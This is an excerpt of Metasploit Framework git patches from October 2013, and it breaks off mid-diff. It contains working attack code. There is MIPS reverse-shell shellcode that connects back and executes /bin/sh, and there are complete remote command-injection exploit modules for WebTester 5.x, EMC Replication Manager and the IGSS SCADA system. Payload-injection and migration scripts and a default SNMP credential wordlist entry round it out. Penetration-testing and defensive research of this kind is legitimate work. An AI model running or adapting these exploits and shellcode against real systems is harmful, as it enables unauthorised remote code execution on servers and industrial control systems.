MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE, @@ -48,79 +54,70 @@ module Metasploit3 port = [port].pack("n").unpack("cc") shellcode = - "\x24\x09\xff\xef" + # li t1,-17 - "\x05\x10\xff\xff" + # bltzal t0,0x4 - "\x28\x08\x82\x82" + # slti t0,zero,-32126 - "\x01\x20\x48\x27" + # nor t1,t1,zero - "\x01\x3f\xc8\x21" + # addu t9,t1,ra - "\xaf\xb9\x85\x48" + # sw t9,-31416(sp) - "\x23\xb9\x85\x48" + # addi t9,sp,-31416 - "\x3c\x1c\x00\x00" + # lui gp,0x0 - "\x27\x9c\x00\x00" + # addiu gp,gp,0 - "\x03\x99\xe0\x21" + # addu gp,gp,t9 - "\x27\xbd\xff\xd0" + # addiu sp,sp,-48 - "\xaf\xbc\x00\x00" + # sw gp,0(sp) - "\xaf\xbc\x00\x28" + # sw gp,40(sp) - "\x8f\x84\x00\x00" + # lw a0,0(gp) - "\x00\x00\x00\x00" + # nop - "\x24\x84\x00\xf8" + # addiu a0,a0,248 - "\x00\x00\x00\x00" + # nop - "\x8c\x85\x00\x00" + # lw a1,0(a0) - "\x8c\x87\x00\x04" + # lw a3,4(a0) - "\x3c\x08" + host[0..1].pack("C2") + # lui t0,0xc0a8 - "\x35\x06" + host[2..3].pack("C2") + # ori a2,t0,0x109 - "\x27\xb9\x00\x18" + # addiu t9,sp,24 - "\x24\x03\x00\x02" + # li v1,2 - "\x24\x02" + port.pack("C2") + # li v0,4646 - "\xaf\xa5\x00\x18" + # sw a1,24(sp) - "\xaf\xa6\x00\x0c" + # sw a2,12(sp) - "\xaf\xa7\x00\x1c" + # sw a3,28(sp) - "\xa7\xa3\x00\x08" + # sh v1,8(sp) - "\xa7\xa2\x00\x0a" + # sh v0,10(sp) - "\xaf\xb9\x00\x20" + # sw t9,32(sp) - "\xaf\xa0\x00\x24" + # sw zero,36(sp) - "\x24\x04\x00\x02" + # li a0,2 - "\x24\x05\x00\x02" + # li a1,2 - "\x00\x00\x30\x21" + # move a2,zero - "\x24\x02\x10\x57" + # li v0,4183 - "\x00\x00\x00\x0c" + # syscall - "\x24\x04\xff\xff" + # li a0,-1 - "\x10\x44\x00\x1a" + # beq v0,a0,0x100 - "\x00\x40\x18\x21" + # move v1,v0 - "\x00\x60\x20\x21" + # move a0,v1 - "\x24\x06\x00\x10" + # li a2,16 - "\x27\xa5\x00\x08" + # addiu a1,sp,8 - "\x24\x02\x10\x4a" + # li v0,4170 - "\x00\x00\x00\x0c" + # syscall - "\x14\x40\x00\x0e" + # bnez v0,0xec - "\x00\x00\x28\x21" + # move a1,zero - "\x24\x02\x0f\xdf" + # li v0,4063 - "\x00\x00\x00\x0c" + # syscall - "\x24\x05\x00\x01" + # li a1,1 - "\x24\x02\x0f\xdf" + # li v0,4063 - "\x00\x00\x00\x0c" + # syscall - "\x24\x05\x00\x02" + # li a1,2 - "\x24\x02\x0f\xdf" + # li v0,4063 - "\x00\x00\x00\x0c" + # syscall - "\x03\x20\x20\x21" + # move a0,t9 - "\x27\xa5\x00\x20" + # addiu a1,sp,32 - "\x00\x00\x30\x21" + # move a2,zero - "\x24\x02\x0f\xab" + # li v0,4011 - "\x00\x00\x00\x0c" + # syscall - "\x00\x00\x20\x21" + # move a0,zero - "\x24\x02\x0f\xa1" + # li v0,4001 - "\x00\x00\x00\x0c" + # syscall - "\x03\xe0\x00\x08" + # jr ra - "\x27\xbd\x00\x30" + # addiu sp,sp,48 - "\x24\x04\x00\x01" + # li a0,1 - "\x24\x02\x0f\xa1" + # li v0,4001 - "\x00\x00\x00\x0c" + # syscall - "\x10\x00\xff\xe4" + # b 0xa0 - "\x00\x60\x20\x21" + # move a0,v1 - "\x2f\x62\x69\x6e" + # "/bin" - "\x2f\x73\x68\x00" + # "/sh\x00" - "0"*80 - # FIXME: remove extra 0 bytes! + # sys_socket + # a0: domain + # a1: type + # a2: protocol + "\x24\x0f\xff\xfa" + # li t7,-6 + "\x01\xe0\x78\x27" + # nor t7,t7,zero + "\x21\xe4\xff\xfd" + # addi a0,t7,-3 + "\x21\xe5\xff\xfd" + # addi a1,t7,-3 + "\x28\x06\xff\xff" + # slti a2,zero,-1 + "\x24\x02\x10\x57" + # li v0,4183 # sys_socket + "\x01\x01\x01\x0c" + # syscall 0x40404 + + # sys_connect + # a0: sockfd (stored on the stack) + # a1: addr (data stored on the stack) + # a2: addrlen + "\xaf\xa2\xff\xff" + # sw v0,-1(sp) + "\x8f\xa4\xff\xff" + # lw a0,-1(sp) + "\x34\x0f\xff\xfd" + # li t7,0xfffd + "\x01\xe0\x78\x27" + # nor t7,t7,zero + "\xaf\xaf\xff\xe0" + # sw t7,-32(sp) + "\x3c\x0e" + port.pack("C2") + # lui t6,0x1f90 + "\x35\xce" + port.pack("C2") + # ori t6,t6,0x1f90 + "\xaf\xae\xff\xe4" + # sw t6,-28(sp) + "\x3c\x0e" + host[0..1].pack("C2") + # lui t6,0x7f01 + "\x35\xce" + host[2..3].pack("C2") + # ori t6,t6,0x101 + "\xaf\xae\xff\xe6" + # sw t6,-26(sp) + "\x27\xa5\xff\xe2" + # addiu a1,sp,-30 + "\x24\x0c\xff\xef" + # li t4,-17 + "\x01\x80\x30\x27" + # nor a2,t4,zero + "\x24\x02\x10\x4a" + # li v0,4170 # sys_connect + "\x01\x01\x01\x0c" + # syscall 0x40404 + + # sys_dup2 + # a0: oldfd (socket) + # a1: newfd (0, 1, 2) + "\x24\x0f\xff\xfd" + # li t7,-3 + "\x01\xe0\x78\x27" + # nor t7,t7,zero + "\x8f\xa4\xff\xff" + # lw a0,-1(sp) + "\x01\xe0\x28\x21" + # move a1,t7 + "\x24\x02\x0f\xdf" + # li v0,4063 # sys_dup2 + "\x01\x01\x01\x0c" + # syscall 0x40404 + "\x24\x10\xff\xff" + # li s0,-1 + "\x21\xef\xff\xff" + # addi t7,t7,-1 + "\x15\xf0\xff\xfa" + # bne t7,s0,68 + + # sys_execve + # a0: filename (stored on the stack) "//bin/sh" + # a1: argv "//bin/sh" + # a2: envp (null) + "\x28\x06\xff\xff" + # slti a2,zero,-1 + "\x3c\x0f\x2f\x2f" + # lui t7,0x2f2f "//" + "\x35\xef\x62\x69" + # ori t7,t7,0x6269 "bi" + "\xaf\xaf\xff\xec" + # sw t7,-20(sp) + "\x3c\x0e\x6e\x2f" + # lui t6,0x6e2f "n/" + "\x35\xce\x73\x68" + # ori t6,t6,0x7368 "sh" + "\xaf\xae\xff\xf0" + # sw t6,-16(sp) + "\xaf\xa0\xff\xf4" + # sw zero,-12(sp) + "\x27\xa4\xff\xec" + # addiu a0,sp,-20 + "\xaf\xa4\xff\xf8" + # sw a0,-8(sp) + "\xaf\xa0\xff\xfc" + # sw zero,-4(sp) + "\x27\xa5\xff\xf8" + # addiu a1,sp,-8 + "\x24\x02\x0f\xab" + # li v0,4011 # sys_execve + "\x01\x01\x01\x0c" # syscall 0x40404 return super + shellcode end From 54cf7855a2c72c1849195b355c2073d338b1b52f Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 17 Oct 2013 16:57:57 +1030 Subject: [PATCH 211/409] Add WebTester 5.x Command Execution exploit module --- .../exploits/unix/webapp/webtester_exec.rb | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 modules/exploits/unix/webapp/webtester_exec.rb diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb new file mode 100644 index 0000000000..94e13bbafa --- /dev/null +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -0,0 +1,103 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "WebTester 5.x Command Execution", + 'Description' => %q{ + This module exploits a command execution vulnerability in WebTester + version 5.x. The 'install2.php' file allows unauthenticated users to + execute arbitrary commands in the 'cpusername', 'cppassword' and + 'cpdomain' parameters. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Targets' => + [ + # Tested on WebTester v5.1.20101016 + [ 'WebTester version 5.x', { 'auto' => true } ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 17 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/']) + ], self.class) + end + + # + # Checks if target is running WebTester version 5.x + # + def check + res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) + + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + end + + if res.body =~ /Eppler Software/ + if res.body =~ / - v(5\.[\d\.]+)/ + print_status("#{peer} - Found version: #{$1}") + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + else + return Exploit::CheckCode::Safe + end + end + + def exploit + vuln_params = [ + 'cpusername', + 'cppassword', + 'cpdomain' + ] + print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'install2.php'), + 'vars_post' => { + 'createdb' => 'yes', + 'cpanel' => 'yes', + "#{vuln_params.sample}" => "';#{payload.encoded} #" + } + }) + + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out") + elsif res.code == 200 and res.body =~ /Failed to connect to database server/ + print_good("#{peer} - Payload sent successfully") + else + fail_with(Failure::Unknown, "#{peer} - Something went wrong") + end + + end +end From 563bf4e639dcaff16dddf32b608749a074af8374 Mon Sep 17 00:00:00 2001 From: Norbert Szetei Date: Thu, 17 Oct 2013 15:30:45 +0200 Subject: [PATCH 212/409] Fix bug #8502, used %PATH% for notepad invocation We use system %PATH% for notepad executable instead of the absolute path, because it caused a problem with the migrate script in a 64-bit meterpreter session. By default the wordpad binary is not in the %PATH%, so the condition in hp_nnm_ovbuildpath_textfile.rb was not changed. --- .../windows/http/hp_nnm_ovbuildpath_textfile.rb | 10 ++-------- modules/exploits/windows/local/payload_inject.rb | 13 ++----------- modules/post/windows/manage/migrate.rb | 9 ++------- modules/post/windows/manage/payload_inject.rb | 13 ++----------- scripts/meterpreter/migrate.rb | 10 ++-------- 5 files changed, 10 insertions(+), 45 deletions(-) diff --git a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb index c8bef9b967..7552c8ff3d 100644 --- a/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb +++ b/modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb @@ -98,18 +98,12 @@ class Metasploit3 < Msf::Exploit::Remote client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") - # Select path and executable to run depending the architecture - # and the operating system + # Use the system path for executable to run except the wordpad if client.sys.config.sysinfo["OS"] =~ /Windows XP/ windir = client.fs.file.expand_path("%ProgramFiles%") cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe" else # Windows 2000 - windir = client.fs.file.expand_path("%windir%") - if client.sys.config.sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end + cmd = "notepad.exe" end # run hidden diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 040c89f764..39a2a20b7d 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -119,17 +119,8 @@ class Metasploit3 < Msf::Exploit::Local # Creates a temp notepad.exe to inject payload in to given the payload # Returns process PID def create_temp_proc() - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if @payload_arch.first== "x86" and client.platform =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/ - cmd = "#{windir}\\System32\\notepad.exe" - elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/ - cmd = "#{windir}\\Sysnative\\notepad.exe" - elsif @payload_arch.first == "x86" and client.platform =~ /x64/ - cmd = "#{windir}\\SysWOW64\\notepad.exe" - end + # Use the system path for executable to run + cmd = "notepad.exe" begin proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb index 070192f213..3def790a7e 100644 --- a/modules/post/windows/manage/migrate.rb +++ b/modules/post/windows/manage/migrate.rb @@ -73,13 +73,8 @@ class Metasploit3 < Msf::Post # Creates a temp notepad.exe to migrate to depending the architecture. def create_temp_proc() - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end + # Use the system path for executable to run + cmd = "notepad.exe" # run hidden proc = session.sys.process.execute(cmd, nil, {'Hidden' => true }) return proc.pid diff --git a/modules/post/windows/manage/payload_inject.rb b/modules/post/windows/manage/payload_inject.rb index 8985a7465c..c98a9c07e8 100644 --- a/modules/post/windows/manage/payload_inject.rb +++ b/modules/post/windows/manage/payload_inject.rb @@ -156,17 +156,8 @@ class Metasploit3 < Msf::Post # Creates a temp notepad.exe to inject payload in to given the payload # Returns process PID def create_temp_proc(pay) - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if pay.arch.join == "x86" and client.platform =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - elsif pay.arch.join == "x86_64" and client.platform =~ /x64/ - cmd = "#{windir}\\System32\\notepad.exe" - elsif pay.arch.join == "x86_64" and client.platform =~ /x86/ - cmd = "#{windir}\\Sysnative\\notepad.exe" - elsif pay.arch.join == "x86" and client.platform =~ /x64/ - cmd = "#{windir}\\SysWOW64\\notepad.exe" - end + # Use the system path for executable to run + cmd = "notepad.exe" # run hidden proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) return proc.pid diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 37c6ee62d9..a7caf76d18 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -38,14 +38,8 @@ opts.parse(args) { |opt, idx, val| # Creates a temp notepad.exe to migrate to depending the architecture. def create_temp_proc() - sysinfo = client.sys.config.sysinfo - windir = client.fs.file.expand_path("%windir%") - # Select path of executable to run depending the architecture - if sysinfo['Architecture'] =~ /x86/ - cmd = "#{windir}\\System32\\notepad.exe" - else - cmd = "#{windir}\\Sysnative\\notepad.exe" - end + # Use the system path for executable to run + cmd = "notepad.exe" # run hidden proc = client.sys.process.execute(cmd, nil, {'Hidden' => true }) return proc.pid From 352eca114770de2784c967b3d9de1a2550e2f81d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 09:30:59 -0500 Subject: [PATCH 213/409] Fix check method and set a big space available for payload --- modules/exploits/unix/webapp/webtester_exec.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index 94e13bbafa..ca33fe3f3c 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -32,7 +32,9 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'BadChars' => "\x00" + 'Space' => 8190, # Just a big value, injection on POST variable + 'DisableNops' => true, + 'BadChars' => "\x00" }, 'Arch' => ARCH_CMD, 'Platform' => 'unix', @@ -63,9 +65,12 @@ class Metasploit3 < Msf::Exploit::Remote end if res.body =~ /Eppler Software/ - if res.body =~ / - v(5\.[\d\.]+)/ - print_status("#{peer} - Found version: #{$1}") + if res.body =~ / - v5\.1\.20101016/ + print_status("#{peer} - Found version: 5.1.20101016") return Exploit::CheckCode::Vulnerable + elsif res.body =~ / - v(5\.[\d\.]+)/ + print_status("#{peer} - Found version: #{$1}") + return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end From 22eb2ba163c5f72aef6c9f9f25b30e5551e60a1f Mon Sep 17 00:00:00 2001 From: Davy Douhine Date: Thu, 17 Oct 2013 16:51:34 +0200 Subject: [PATCH 214/409] randstring and fixes --- .../windows/emc/replication_manager_exec.rb | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 modules/exploits/windows/emc/replication_manager_exec.rb diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb new file mode 100644 index 0000000000..3952578f28 --- /dev/null +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -0,0 +1,120 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'EMC Replication Manager Command Execution', + 'Description' => %q{ + This module exploits a remote command-injection vulnerability in EMC Replication + Manager client (irccd.exe). By sending a specially crafted message invoking RunProgram + function an attacker may be able to execute arbitrary code commands with SYSTEM privileges. + Affected products is EMC Replication Manager < 5.3. + This module has been successfully tested against EMC Replication Manager 5.2.1 on XP/W2003. + EMC Networker Module for Microsoft Applications 2.1 and 2.2 may be vulnerable too although + this module have not been tested against these products. + }, + 'Author' => + [ + 'Unknown', #Initial discovery + 'Davy Douhine', #MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2011-0647' ], + [ 'OSVDB', '70853' ], + [ 'BID', '46235' ], + [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-061/' ], + ], + 'DisclosureDate' => 'Feb 07 2011', + 'Platform' => 'win', + 'Arch' => [ ARCH_X86 ], + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + )) + + register_options( + [ + Opt::RPORT(6542), + OptString.new('CMD', [ false, 'Execute this command instead of using command stager']), + ], self.class) + end + + def exploit + + if datastore['CMD'] + print_status("Executing command '#{datastore['CMD']}'") + execute_command(datastore['CMD'], {}) + return + end + + execute_cmdstager({:linemax => 5000}) + handler + end + + def execute_command(cmd, opts) + connect + hello = "1HELLOEMC00000000000000000000000" + sock.put(hello) + result = sock.get_once || '' + if result =~ /RAWHELLO/ + print_good("We sent hello and get hello back from the server. Good") + else + disconnect + return + end + + startsession = "EMC_Len00000001361" + sock.put(startsession) + result = sock.get_once || '' + if result =~ /EMC/ + print_good("A session has been created. Good.") + else + disconnect + return + end + + runprog = " " + runprog << "cmd /c #{cmd}" + runprog << "<?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" " + runprog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter" IR_groupName="CM1109A1" IR_groupId="1" " + runprog << ">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;? &gt; &lt;ir_message ir_sessionId=&quot;00000&quot; " + runprog << "ir_requestId=&quot;00000&quot;ir_type=&quot;App Info&quot; ir_status=&quot;0&quot;&gt;&lt;aa_anywriter_ccr_node&gt;CM1109A1" + runprog << "&lt;/aa_anywriter_ccr_node&gt;&lt;aa_anywriter_fail_1018&gt;0&lt;/aa_anywriter_fail_1018&gt;&lt;aa_anywriter_fail_1019&gt;0" + runprog << "&lt;/aa_anywriter_fail_1019&gt;&lt;aa_anywriter_fail_1022&gt;0&lt;/aa_anywriter_fail_1022&gt;&lt;aa_anywriter_runeseutil&gt;1" + runprog << "&lt;/aa_anywriter_runeseutil&gt;&lt;aa_anywriter_ccr_role&gt;2&lt;/aa_anywriter_ccr_role&gt;&lt;aa_anywriter_prescript&gt;" + runprog << "&lt;/aa_anywriter_prescript&gt;&lt;aa_anywriter_postscript&gt;&lt;/aa_anywriter_postscript&gt;&lt;aa_anywriter_backuptype&gt;1" + runprog << "&lt;/aa_anywriter_backuptype&gt;&lt;aa_anywriter_fail_447&gt;0&lt;/aa_anywriter_fail_447&gt;&lt;aa_anywriter_fail_448&gt;0" + runprog << "&lt;/aa_anywriter_fail_448&gt;&lt;aa_exchange_ignore_all&gt;0&lt;/aa_exchange_ignore_all&gt;&lt;aa_anywriter_sthread_eseutil&gt;0&" + runprog << ";lt;/aa_anywriter_sthread_eseutil&gt;&lt;aa_anywriter_required_logs&gt;0&lt;/aa_anywriter_required_logs&gt;&lt;aa_anywriter_required_logs_path" + runprog << "&gt;&lt;/aa_anywriter_required_logs_path&gt;&lt;aa_anywriter_throttle&gt;1&lt;/aa_anywriter_throttle&gt;&lt;aa_anywriter_throttle_ios&gt;300" + runprog << "&lt;/aa_anywriter_throttle_ios&gt;&lt;aa_anywriter_throttle_dur&gt;1000&lt;/aa_anywriter_throttle_dur&gt;&lt;aa_backup_username&gt;" + runprog << "&lt;/aa_backup_username&gt;&lt;aa_backup_password&gt;&lt;/aa_backup_password&gt;&lt;aa_exchange_checksince&gt;1335208339" + runprog << "&lt;/aa_exchange_checksince&gt; &lt;/ir_message&gt;</IR_groupEntry> </ir_message>" + runprog << "anywriterbackup " + emc6 = "EMC_Len000000"; + runpacket = emc6 + runprog.length.to_s + runprog + sock.put(runpacket) + Rex.sleep(1) # wait for irccd.exe to write the stager on disk + endstring = Rex::Text.rand_text_alpha(rand(10)+32) + sock.put(endstring) + disconnect + + end +end From b03783baec87c05ffb36fd5d93ac08dabf2d9575 Mon Sep 17 00:00:00 2001 From: Davy Douhine Date: Thu, 17 Oct 2013 17:10:05 +0200 Subject: [PATCH 215/409] minors fixes and rand for endstring --- modules/exploits/windows/emc/replication_manager_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 3952578f28..1e956d9ec4 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(runpacket) Rex.sleep(1) # wait for irccd.exe to write the stager on disk endstring = Rex::Text.rand_text_alpha(rand(10)+32) - sock.put(endstring) + sock.put(endstring) disconnect end From bd405277d935f142fb1d00612d44e5c0ef54a829 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 17 Oct 2013 10:35:59 -0500 Subject: [PATCH 216/409] Add a default Samsung community string See http://www.kb.cert.org/vuls/id/281284 and http://www.h-online.com/security/news/item/Samsung-network-printer-vulnerability-discovered-Update-2-1757967.html --- data/wordlists/snmp_default_pass.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/data/wordlists/snmp_default_pass.txt b/data/wordlists/snmp_default_pass.txt index 936da894bc..65359993d5 100755 --- a/data/wordlists/snmp_default_pass.txt +++ b/data/wordlists/snmp_default_pass.txt @@ -92,6 +92,7 @@ root router rw rwa +s!a@m#n$p%c san-fran sanfran scotty From 22b4bf2e9486768470dc6b122058fb138319d44c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 17 Oct 2013 13:30:54 -0500 Subject: [PATCH 217/409] Resplat webtester_exec.rb --- modules/exploits/unix/webapp/webtester_exec.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index ca33fe3f3c..92c0b75bd9 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' From be1d6ee0d3e2bdd402bc935a9fb9230a4df96c1f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 17 Oct 2013 14:07:27 -0500 Subject: [PATCH 218/409] Support Windows CMD generic payload --- modules/auxiliary/admin/scada/igss_exec_17.rb | 4 + .../exploits/windows/scada/igss_exec_17.rb | 80 +++++++++++++++++++ .../payloads/singles/cmd/windows/generic.rb | 57 +++++++++++++ 3 files changed, 141 insertions(+) create mode 100644 modules/exploits/windows/scada/igss_exec_17.rb create mode 100644 modules/payloads/singles/cmd/windows/generic.rb diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb index 4ca6601b2c..e2960fdd9c 100644 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ b/modules/auxiliary/admin/scada/igss_exec_17.rb @@ -9,6 +9,10 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17' + include Msf::Exploit::Remote::Tcp def initialize(info = {}) diff --git a/modules/exploits/windows/scada/igss_exec_17.rb b/modules/exploits/windows/scada/igss_exec_17.rb new file mode 100644 index 0000000000..7a107aad90 --- /dev/null +++ b/modules/exploits/windows/scada/igss_exec_17.rb @@ -0,0 +1,80 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Interactive Graphical SCADA System Remote Command Injection', + 'Description' => %q{ + This module abuses a directory traversal flaw in Interactive + Graphical SCADA System v9.00. In conjunction with the traversal + flaw, if opcode 0x17 is sent to the dc.exe process, an attacker + may be able to execute arbitrary system commands. + }, + 'Author' => + [ + 'Luigi Auriemma', + 'MC' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2011-1566'], + [ 'OSVDB', '72349'], + [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ], + ], + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 153, + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'Windows', {} ] + ], + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => 'Mar 21 2011')) + + register_options( + [ + Opt::RPORT(12397) + ], self.class) + end + + def exploit + + print_status("Sending exploit packet...") + + connect + + packet = [0x00000100].pack('V') + [0x00000000].pack('V') + packet << [0x00000100].pack('V') + [0x00000017].pack('V') + packet << [0x00000000].pack('V') + [0x00000000].pack('V') + packet << [0x00000000].pack('V') + [0x00000000].pack('V') + packet << [0x00000000].pack('V') + [0x00000000].pack('V') + packet << [0x00000000].pack('V') + packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" + packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}" + packet << "\x00" * (143) # + + sock.put(packet) + sock.get_once(-1,0.5) + disconnect + + end + +end diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb new file mode 100644 index 0000000000..e16fe4f121 --- /dev/null +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -0,0 +1,57 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command, Generic Command Execution', + 'Description' => 'Executes the supplied command', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + return datastore['CMD'] || '' + end + +end From 94db3f511a909cf8740e1b4b86f2ea8c2cee0725 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 17 Oct 2013 14:07:25 -0500 Subject: [PATCH 219/409] Avoid extra slash in redirect URI [SeeRM #8507] --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 2 +- modules/exploits/windows/browser/ms12_004_midi.rb | 4 ++-- modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 9c120cb883..dae446fc10 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ 